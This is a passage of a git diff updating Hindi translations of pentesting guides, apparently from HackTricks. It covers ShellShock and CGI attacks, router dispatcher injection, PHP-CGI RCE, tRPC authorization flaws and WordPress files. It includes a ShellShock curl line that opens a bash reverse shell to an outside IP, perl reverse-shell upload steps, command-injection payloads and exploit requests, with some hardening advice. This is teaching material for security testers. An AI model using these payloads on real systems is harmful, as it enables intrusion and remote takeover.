उसे privileged context में `-v` के साथ execute कर सकती है। permissive patterns (उदा., \S का उपयोग) writable स्थानों में attacker-staged listeners (उदा., /tmp/httpd) से मैच कर सकते हैं, जिससे root के रूप में execution हो सकती है (CWE-426 Untrusted Search Path)। -अधिक जानें और अन्य discovery/monitoring stacks पर लागू होने वाले सामान्यीकृत पैटर्न को यहाँ देखें: +और अधिक जानें और अन्य discovery/monitoring stacks पर लागू होने वाले सामान्यीकृत पैटर्न को यहाँ देखें: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Kernel सुरक्षा उपाय - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1542,7 +1520,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## संदर्भ +## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 8bae27890..c140c4587 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,22 +3,22 @@ {{#include ../../banners/hacktricks-training.md}} -## जानकारी +## Information -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -CGI vulns की जाँच के लिए `nikto -C all` (और सभी plugins) का उपयोग करने की सिफारिश की जाती है। +The **CGI scripts are perl scripts**, इसलिए अगर आपने किसी सर्वर में पहुँच बना ली है जो _**.cgi**_ स्क्रिप्ट्स को execute कर सकता है तो आप **perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`) अपलोड कर सकते हैं, एक्सटेंशन **.pl** से **.cgi** में बदल सकते हैं, execute permissions दे सकते हैं (`chmod +x`) और वेब ब्राउज़र से reverse shell को access करके execute कर सकते हैं। +CGI vulns की जांच के लिए `nikto -C all` \(and all the plugins\) का उपयोग करने की सलाह दी जाती है। ## **ShellShock** -**ShellShock** एक vulnerability है जो व्यापक रूप से उपयोग किए जाने वाले **Bash** command-line shell को Unix-based operating systems में प्रभावित करती है। यह उन परिस्थितियों को निशाना बनाती है जहाँ Bash को applications द्वारा पास किए गए commands चलाने होते हैं। Vulnerability का मूल कारण **environment variables** का manipulation है, जो dynamic named values होते हैं और यह प्रभावित करते हैं कि कंप्यूटर पर processes कैसे चलते हैं। Attackers इसे exploit कर सकते हैं — environment variables में malicious code attach करके, जो variable मिलने पर execute हो जाता है। इससे attackers सिस्टम को संभावित रूप से compromise कर सकते हैं। +**ShellShock** एक **vulnerability** है जो Unix-आधारित ऑपरेटिंग सिस्टम में व्यापक रूप से इस्तेमाल होने वाले **Bash** command-line shell को प्रभावित करती है। यह Bash की उस क्षमता को लक्षित करता है जो applications द्वारा पास किए गए commands को चलाती है। यह vulnerability **environment variables** के manipulation में निहित है, जो dynamic named values होते हैं और यह निर्धारित करते हैं कि कंप्यूटर पर processes कैसे चलते हैं। Attackers इसे exploit करके **malicious code** को environment variables में संलग्न कर सकते हैं, जो उस variable के प्राप्त होते ही execute हो जाता है। इससे attackers संभावित रूप से सिस्टम को compromise कर सकते हैं। -इस vulnerability का exploit करने पर पेज error फेंक सकता है। +Exploiting this vulnerability the **page could throw an error**। -आप इस vulnerability को इस बात से पा सकते हैं कि यह पुराने **Apache** version और **cgi_mod** (cgi फ़ोल्डर के साथ) का उपयोग कर रहा है, या `nikto` का उपयोग करके। +आप इस vulnerability को पा सकते हैं यह देखकर कि यह **old Apache version** और **cgi_mod** \(with cgi folder\) का उपयोग कर रहा है, या **nikto** का उपयोग करके। -### **परीक्षण** +### **Test** -अधिकांश परीक्षणों में कुछ echo किया जाता है और उम्मीद की जाती है कि वह string वेब response में लौटेगी। यदि आपको लगता है कि कोई पेज vulnerable हो सकता है, तो सभी **cgi** पेज खोजें और उनका परीक्षण करें। +अधिकांश टेस्ट echo करके कुछ भेजने पर आधारित होते हैं और उम्मीद करते हैं कि वह string वेब response में वापस मिलेगी। यदि आपको लगता है कि कोई पेज vulnerable हो सकता है, तो सभी cgi पेजों को खोजें और उनका परीक्षण करें। **Nmap** ```bash @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## केंद्रीकृत CGI डिस्पैचर्स (single endpoint routing via selector parameters) +## केंद्रीकृत CGI डिस्पैचर (selector parameters के माध्यम से single endpoint रूटिंग) -कई embedded web UIs एकल CGI endpoint के पीछे दर्जनों privileged actions को multiplex करते हैं (उदाहरण के लिए, `/cgi-bin/cstecgi.cgi`) और अनुरोध को internal function तक route करने के लिए `topicurl=` जैसे selector parameter का उपयोग करते हैं। +कई embedded web UIs एक ही CGI endpoint (उदाहरण के लिए, `/cgi-bin/cstecgi.cgi`) के पीछे दर्जनों privileged actions को multiplex करती हैं और request को internal function तक route करने के लिए `topicurl=` जैसे selector parameter का उपयोग करती हैं। -इन routers को एक्सप्लॉइट करने की कार्यप्रणाली: +Methodology to exploit these routers: -- handler नाम गिनें: scrape JS/HTML, brute-force with wordlists, या firmware unpack करके dispatcher द्वारा उपयोग किए गए handler strings के लिए grep करें। -- Test unauthenticated reachability: कुछ handlers auth checks भूल जाते हैं और सीधे callable होते हैं। -- उन handlers पर ध्यान दें जो system utilities को invoke करते हैं या files को touch करते हैं; कमजोर validators अक्सर केवल कुछ characters को ही block करते हैं और शायद leading hyphen `-` को मिस कर देते हैं। +- Handler नामों की enumeration करें: JS/HTML scrape करें, wordlists से brute-force करें, या firmware unpack करके dispatcher में प्रयुक्त handler strings के लिए grep करें। +- Unauthenticated reachability टेस्ट करें: कुछ handlers auth checks भूल जाते हैं और सीधे callable होते हैं। +- उन handlers पर ध्यान केंद्रित करें जो system utilities invoke करते हैं या files को touch करते हैं; weak validators अक्सर सिर्फ कुछ characters को ही block करते हैं और leading hyphen `-` मिस कर सकते हैं। -सामान्य exploit रूप: +सामान्य exploit पैटर्न: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Detection and hardening: +डिटेक्शन और हार्डनिंग: -- सेंट्रलाइज़्ड CGI endpoints पर उन प्रमाणीकरणहीन अनुरोधों पर निगरानी रखें जिनमें `topicurl` संवेदनशील handlers पर सेट हो। -- उन parameters को फ्लैग करें जो `-` से शुरू होते हैं (argv option injection attempts)। -- विक्रेताओं: सभी state-changing handlers पर authentication लागू करें, कठोर allowlists/types/lengths का उपयोग करके validate करें, और कभी भी user-controlled strings को command-line flags के रूप में पास न करें। +- केंद्रीकृत CGI endpoints पर `topicurl` को संवेदनशील handlers पर सेट करके आने वाले बिना प्रमाणीकरण वाले अनुरोधों पर निगरानी रखें। +- `-` से शुरू होने वाले पैरामीटरों को चिह्नित करें (argv option injection प्रयास)। +- विक्रेताओं: सभी state-changing handlers पर प्रमाणीकरण लागू करें, कड़े allowlists/types/lengths से वैलिडेशन करें, और कभी भी user-controlled strings को command-line flags के रूप में पास न करें। ## पुराना PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Basically if cgi is active and php is "old" \(<5.3.12 / < 5.4.2\) you can execute code. -इस vulnerability को exploit करने के लिए आपको वेब सर्वर की किसी PHP फ़ाइल तक बिना parameters भेजे पहुँचने की जरूरत है \(विशेषकर बिना "=" कैरेक्टर भेजे\)। -फिर, इस vulnerability का परीक्षण करने के लिए आप उदाहरण के लिए `/index.php?-s` \(ध्यान दें `-s`\) तक पहुँच सकते हैं और **source code of the application will appear in the response**। +बुनियादी तौर पर अगर CGI सक्रिय है और PHP "पुराना" \(<5.3.12 / < 5.4.2\) है तो आप कोड निष्पादित कर सकते हैं। +इस vulnerability को exploit करने के लिए आपको वेब सर्वर की किसी PHP फाइल तक ऐसे पहुंचना होगा कि parameters न भेजे जाएँ \(विशेष रूप से '=' कैरेक्टर न भेजें\)। +फिर, इस vulnerability को टेस्ट करने के लिए आप उदाहरण के लिए `/index.php?-s` देख सकते हैं \(ध्यान दें `-s`\) और **एप्लिकेशन का स्रोत कोड response में दिखाई देगा**। -फिर, **RCE** प्राप्त करने के लिए आप यह विशेष query भेज सकते हैं: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` और **PHP code** को request के **body** में भेजें जिससे वह execute हो। -Example: +फिर, **RCE** प्राप्त करने के लिए आप इस विशेष क्वेरी को भेज सकते हैं: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` और निष्पादित होने वाला **PHP code** अनुरोध के **body** में होना चाहिए। +उदाहरण: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **vuln और संभावित exploits के बारे में अधिक जानकारी:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM वेब सर्वर अनुरोधों के लिए\)** +## **Proxy \(MitM to Web server requests\)** -CGI http request में प्रत्येक header के लिए एक environment variable बनाता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है। +CGI प्रत्येक header के लिए http request में एक environment variable बनाता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है। -HTTP_PROXY variable का उपयोग web server द्वारा किया जा सकता है। एक **header** भेजने की कोशिश करें जिसमें यह हो: "**Proxy: <IP_attacker>:<PORT>**" और यदि server session के दौरान कोई request करता है, तो आप server द्वारा किए गए प्रत्येक request को कैप्चर कर पाएंगे। +चूँकि HTTP_PROXY variable को web server द्वारा उपयोग किया जा सकता है। एक **header** भेजने की कोशिश करें जिसमें यह हो: "**Proxy: <IP_attacker>:<PORT>**" और यदि सर्वर सेशन के दौरान कोई request करता है, तो आप सर्वर द्वारा की गई प्रत्येक request को capture कर पाएँगे। -## **संदर्भ** +## **References** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 64a39926f..648714865 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## API Pentesting मेथोडोलॉजी सारांश -APIs का pentesting कमजोरियों को उजागर करने के लिए एक संरचित दृष्टिकोण शामिल करता है। यह गाइड एक व्यापक पद्धति को संक्षेपित करता है, व्यावहारिक तकनीकों और उपकरणों पर जोर देता है। +APIs की pentesting में कमजोरियों का पता लगाने के लिए एक संरचित अप्रोच शामिल है। यह गाइड एक व्यापक मेथोडोलॉजी को समेटता है, जो व्यावहारिक तकनीकों और टूल्स पर जोर देता है। -### **Understanding API Types** +### **API प्रकारों को समझना** -- **SOAP/XML Web Services**: दस्तावेज़ीकरण के लिए WSDL प्रारूप का उपयोग करें, जो आमतौर पर `?wsdl` पथों पर पाया जाता है। **SOAPUI** और **WSDLer** (Burp Suite Extension) जैसे उपकरण अनुरोधों को पार्स और उत्पन्न करने में सहायक होते हैं। उदाहरण दस्तावेज़ीकरण [DNE Online](http://www.dneonline.com/calculator.asmx) पर उपलब्ध है। -- **REST APIs (JSON)**: दस्तावेज़ीकरण अक्सर WADL फ़ाइलों में आता है, फिर भी [Swagger UI](https://swagger.io/tools/swagger-ui/) जैसे उपकरण इंटरैक्शन के लिए एक अधिक उपयोगकर्ता-अनुकूल इंटरफ़ेस प्रदान करते हैं। **Postman** उदाहरण अनुरोध बनाने और प्रबंधित करने के लिए एक मूल्यवान उपकरण है। -- **GraphQL**: APIs के लिए एक क्वेरी भाषा जो आपके API में डेटा का एक पूर्ण और समझने योग्य विवरण प्रदान करती है। +- **SOAP/XML Web Services**: WSDL फॉर्मेट डॉक्यूमेंटेशन के लिए उपयोग होता है, आमतौर पर `?wsdl` paths पर मिलता है। टूल्स जैसे **SOAPUI** और **WSDLer** (Burp Suite Extension) parsing और requests generate करने में सहायक हैं। Example documentation is accessible at [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: डॉक्यूमेंटेशन अक्सर WADL फाइलों में होता है, फिर भी ऐसे टूल्स जैसे [Swagger UI](https://swagger.io/tools/swagger-ui/) interaction के लिए एक अधिक user-friendly interface प्रदान करते हैं। **Postman** example requests बनाने और manage करने के लिए उपयोगी टूल है। +- **GraphQL**: APIs के लिए एक query language है जो आपके API के डेटा का एक पूरा और समझने योग्य वर्णन देती है। ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): हाथों-हाथ अभ्यास के लिए जानबूझकर कमजोर API, OWASP शीर्ष 10 API कमजोरियों को कवर करता है। +- [**VAmPI**](https://github.com/erev0s/VAmPI): एक जानबूझकर कमजोर API है जो hands-on प्रैक्टिस के लिए है, और OWASP top 10 API vulnerabilities को कवर करता है। -### **Effective Tricks for API Pentesting** +### **API Pentesting के लिए प्रभावी ट्रिक्स** -- **SOAP/XML Vulnerabilities**: XXE कमजोरियों का अन्वेषण करें, हालांकि DTD घोषणाएँ अक्सर प्रतिबंधित होती हैं। यदि XML मान्य रहता है तो CDATA टैग पेलोड सम्मिलन की अनुमति दे सकते हैं। -- **Privilege Escalation**: अनधिकृत पहुंच की संभावनाओं की पहचान के लिए विभिन्न विशेषाधिकार स्तरों के साथ एंडपॉइंट्स का परीक्षण करें। -- **CORS Misconfigurations**: प्रमाणित सत्रों से CSRF हमलों के माध्यम से संभावित शोषण के लिए CORS सेटिंग्स की जांच करें। -- **Endpoint Discovery**: छिपे हुए एंडपॉइंट्स को खोजने के लिए API पैटर्न का लाभ उठाएं। फज़र्स जैसे उपकरण इस प्रक्रिया को स्वचालित कर सकते हैं। -- **Parameter Tampering**: अनधिकृत डेटा या कार्यक्षमताओं तक पहुंचने के लिए अनुरोधों में पैरामीटर जोड़ने या बदलने का प्रयोग करें। -- **HTTP Method Testing**: अप्रत्याशित व्यवहार या जानकारी के खुलासे को उजागर करने के लिए अनुरोध विधियों (GET, POST, PUT, DELETE, PATCH) में भिन्नता लाएं। -- **Content-Type Manipulation**: पार्सिंग मुद्दों या कमजोरियों के परीक्षण के लिए विभिन्न सामग्री प्रकारों (x-www-form-urlencoded, application/xml, application/json) के बीच स्विच करें। -- **Advanced Parameter Techniques**: JSON पेलोड में अप्रत्याशित डेटा प्रकारों के साथ परीक्षण करें या XXE इंजेक्शन के लिए XML डेटा के साथ खेलें। व्यापक परीक्षण के लिए पैरामीटर प्रदूषण और वाइल्डकार्ड वर्णों का भी प्रयास करें। -- **Version Testing**: पुराने API संस्करण हमलों के प्रति अधिक संवेदनशील हो सकते हैं। हमेशा कई API संस्करणों के खिलाफ जांचें और परीक्षण करें। +- **SOAP/XML Vulnerabilities**: XXE vulnerabilities का परीक्षण करें, हालांकि DTD declarations आम तौर पर प्रतिबंधित होते हैं। अगर XML वैध रहता है तो CDATA tags payload insertion की अनुमति दे सकते हैं। +- **Privilege Escalation**: विभिन्न privilege levels के साथ endpoints को टेस्ट करें ताकि unauthorized access की संभावनाओं का पता चल सके। +- **CORS Misconfigurations**: CORS सेटिंग्स की जाँच करें ताकि authenticated sessions से होने वाले CSRF attacks के माध्यम से संभावित exploitability का पता चल सके। +- **Endpoint Discovery**: छिपे हुए endpoints खोजने के लिए API patterns का उपयोग करें। fuzzers जैसे टूल इस प्रक्रिया को automate कर सकते हैं। +- **Parameter Tampering**: requests में parameters जोड़कर या बदलकर unauthorized data या functionalities तक पहुँचने का प्रयोग करें। +- **HTTP Method Testing**: अनपेक्षित व्यवहार या सूचना disclosures खोजने के लिए request methods (GET, POST, PUT, DELETE, PATCH) बदलकर टेस्ट करें। +- **Content-Type Manipulation**: parsing issues या vulnerabilities की जांच के लिए अलग-अलग content types (x-www-form-urlencoded, application/xml, application/json) के बीच switch करें। +- **Advanced Parameter Techniques**: JSON payloads में अनपेक्षित data types के साथ टेस्ट करें या XXE injections के लिए XML data के साथ प्रयोग करें। व्यापक परीक्षण के लिए parameter pollution और wildcard characters भी आज़माएँ। +- **Version Testing**: पुराने API versions attacks के लिए अधिक susceptible हो सकते हैं। हमेशा कई API versions की जाँच और परीक्षण करें। -### **Tools and Resources for API Pentesting** +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): API एंडपॉइंट्स खोजने के लिए उत्कृष्ट। लक्षित APIs के खिलाफ पथों और पैरामीटरों को स्कैन और ब्रूट फोर्स करने के लिए इसका उपयोग करें। +आधुनिक TypeScript स्टैक्स आमतौर पर input validation के लिए tRPC और Zod का उपयोग करते हैं। tRPC में, `protectedProcedure` आम तौर पर यह सुनिश्चित करता है कि request के पास एक valid session हो (authentication), लेकिन यह संकेत नहीं देता कि caller के पास सही role/permissions (authorization) हैं। अगर संवेदनशील procedures सिर्फ `protectedProcedure` से gated हों तो यह mismatch Broken Function Level Authorization/BOLA का कारण बनता है। + +- Threat model: अगर role checks मौजूद नहीं हैं तो कोई भी low-privileged authenticated user admin-grade procedures को कॉल कर सकता है (उदा., background migrations, feature flags, tenant-wide maintenance, job control)। +- Black-box signal: `POST /api/trpc/.` endpoints जो basic accounts के लिए सफल होते हैं जबकि उन्हें admin-only होना चाहिए। Self-serve signups exploitability को काफी बढ़ा देते हैं। +- Typical tRPC route shape (v10+): JSON body आमतौर पर `{"input": {...}}` के अंदर wrapped होती है। + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +व्यावहारिक एक्सप्लॉइटेशन (black-box) + +1) एक सामान्य अकाउंट रजिस्टर करें और प्रमाणीकृत सत्र प्राप्त करें (cookies/headers). +2) “list”/“all”/“status” प्रक्रियाओं के माध्यम से बैकग्राउंड जॉब्स या अन्य संवेदनशील संसाधनों को सूचीबद्ध करें। +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) किसी जॉब को पुनः आरंभ करने जैसी विशेषाधिकार प्राप्त क्रियाओं को निष्पादित करें: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- non-idempotent restarts के कारण डेटा करप्शन: migrations/workers को एक साथ चलाने पर race conditions और असंगत आंशिक अवस्थाएँ बन सकती हैं (silent data loss, broken analytics)। +- DoS via worker/DB starvation: बार-बार भारी jobs ट्रिगर करने से worker pools और database connections समाप्त हो सकते हैं, जिससे tenant-wide outages हो सकते हैं। + +### **API Pentesting के लिए उपकरण और संसाधन** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoints खोजने के लिए उत्कृष्ट। इसे target APIs के खिलाफ paths और parameters को scan और brute force करने के लिए उपयोग करें। ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj एक कमांड लाइन टूल है जिसे **exposed Swagger/OpenAPI definition files** के ऑडिट में मदद करने के लिए डिज़ाइन किया गया है, जो संबंधित API endpoints के लिए कमजोर प्रमाणीकरण की जांच करता है। यह मैनुअल कमजोरियों के परीक्षण के लिए कमांड टेम्पलेट भी प्रदान करता है। -- अतिरिक्त टूल जैसे **automatic-api-attack-tool**, **Astra**, और **restler-fuzzer** API सुरक्षा परीक्षण के लिए अनुकूलित कार्यक्षमताएँ प्रदान करते हैं, जो हमले के अनुकरण से लेकर फज़िंग और कमजोरियों के स्कैनिंग तक फैली हुई हैं। -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): यह एक API सुरक्षा टूल है जो आपके API का ऑडिट OAS फ़ाइल के आधार पर करता है (यह टूल रस्ट में लिखा गया है)। +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj एक command line tool है जो exposed Swagger/OpenAPI definition files के auditing में मदद करने के लिए बनाया गया है; यह संबंधित API endpoints को weak authentication के लिए चेक करता है। यह manual vulnerability testing के लिए command templates भी प्रदान करता है। +- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** API security testing के लिए tailored कार्यक्षमताएँ प्रदान करते हैं, जो attack simulation, fuzzing और vulnerability scanning तक फैली होती हैं। +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): यह एक API security tool है जो OAS file के आधार पर आपके API का audit करता है (the tool written in rust). ### **सीखने और अभ्यास के संसाधन** -- **OWASP API Security Top 10**: सामान्य API कमजोरियों को समझने के लिए आवश्यक पढ़ाई ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API सुरक्षा चेकलिस्ट**: APIs को सुरक्षित करने के लिए एक व्यापक चेकलिस्ट ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ फ़िल्टर**: API कमजोरियों की खोज के लिए, Logger++ उपयोगी फ़िल्टर प्रदान करता है ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints सूची**: परीक्षण उद्देश्यों के लिए संभावित API endpoints की एक क्यूरेटेड सूची ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))। +- **OWASP API Security Top 10**: सामान्य API कमजोरियों को समझने के लिए अनिवार्य पढ़ाई ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: APIs को secure करने के लिए एक व्यापक checklist ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API कमजोरियों की hunting के लिए, Logger++ उपयोगी filters प्रदान करता है ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: testing के उद्देश्य से संभावित API endpoints की curated सूची ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## संदर्भ - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index f09de6a0b..f493801f6 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## बुनियादी जानकारी -- **अपलोड की गई** फ़ाइलें इसी जगह जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के कुछ php बदलकर RCE हासिल करना चाहते हैं तो आप शायद वही path इस्तेमाल करेंगे। उदाहरण के लिए: theme **twentytwelve** का उपयोग करते समय आप इस फ़ाइल को एक्सेस कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **अपलोड की गई** फाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **थीम फाइलें /wp-content/themes/ में मिलती हैं,** इसलिए अगर आप थीम के कुछ php को बदलकर RCE प्राप्त करना चाहते हैं तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **theme twentytwelve** का उपयोग करके आप **404.php** फ़ाइल में पहुँच सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **एक और उपयोगी URL हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **एक और उपयोगी url हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- `wp-config.php` में आप database के root password जैसी जानकारी पा सकते हैं। -- जाँच करने के लिए डिफ़ॉल्ट लॉगिन paths: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- **wp-config.php** में आप डेटाबेस का root पासवर्ड पा सकते हैं। +- जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Main WordPress Files** +### **मुख्य WordPress फाइलें** - `index.php` -- `license.txt` में उपयोगी जानकारी होती है जैसे इंस्टॉल किया गया WordPress का version। -- `wp-activate.php` नया WordPress साइट सेटअप करते समय ईमेल activation प्रक्रिया के लिए उपयोग होता है। -- Login फ़ोल्डर (छिपाने के लिए नाम बदला जा सकता है): +- `license.txt` में उपयोगी जानकारी होती है जैसे इंस्टॉल की गई WordPress का संस्करण। +- `wp-activate.php` का उपयोग नए WordPress साइट सेटअप के समय ईमेल सक्रियकरण प्रक्रिया के लिए होता है। +- लॉगिन फ़ोल्डर्स (छुपाने के लिए नाम बदला गया हो सकते हैं): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस सुविधा को दर्शाती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने में सक्षम बनाती है। इस तरह की संचार विधि को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है। -- `wp-content` फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes संग्रहित होते हैं। -- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं। -- `wp-includes/` यह वह डायरेक्टरी है जहाँ core फ़ाइलें संग्रहीत होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets। -- `wp-sitemap.xml` WordPress के version 5.5 और उससे बड़े में, WordPress सभी public posts और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जेनरेट करता है। +- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक सुविधा को दर्शाती है जो HTTP को ट्रांसपोर्ट मैकेनिज़्म और XML को एनकोडिंग मैकेनिज़्म के रूप में उपयोग करके डेटा संचार सक्षम करती है। इस प्रकार के संचार को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है। +- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ plugins और themes संग्रहीत होते हैं। +- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई किसी भी फ़ाइल को संग्रहित किया जाता है। +- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फाइलें संग्रहीत होती हैं, जैसे सर्टिफिकेट, फॉन्ट, JavaScript फ़ाइलें, और विजेट। +- `wp-sitemap.xml` WordPress के संस्करण 5.5 और उससे ऊपर में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकार और टैक्सोनॉमी के साथ एक sitemap XML फ़ाइल जेनरेट करता है। **Post exploitation** -- `wp-config.php` फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database का नाम, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को activate करने के लिए भी इस्तेमाल की जा सकती है, जो troubleshooting में उपयोगी हो सकता है। +- `wp-config.php` फ़ाइल में WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है, जैसे डेटाबेस नाम, डेटाबेस होस्ट, username और password, authentication keys और salts, और डेटाबेस टेबल प्रीफ़िक्स। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है। -### Users Permissions +### उपयोगकर्ता अनुमतियाँ - **Administrator** -- **Editor**: अपने और अन्य के posts को प्रकाशित और प्रबंधित करता है -- **Author**: 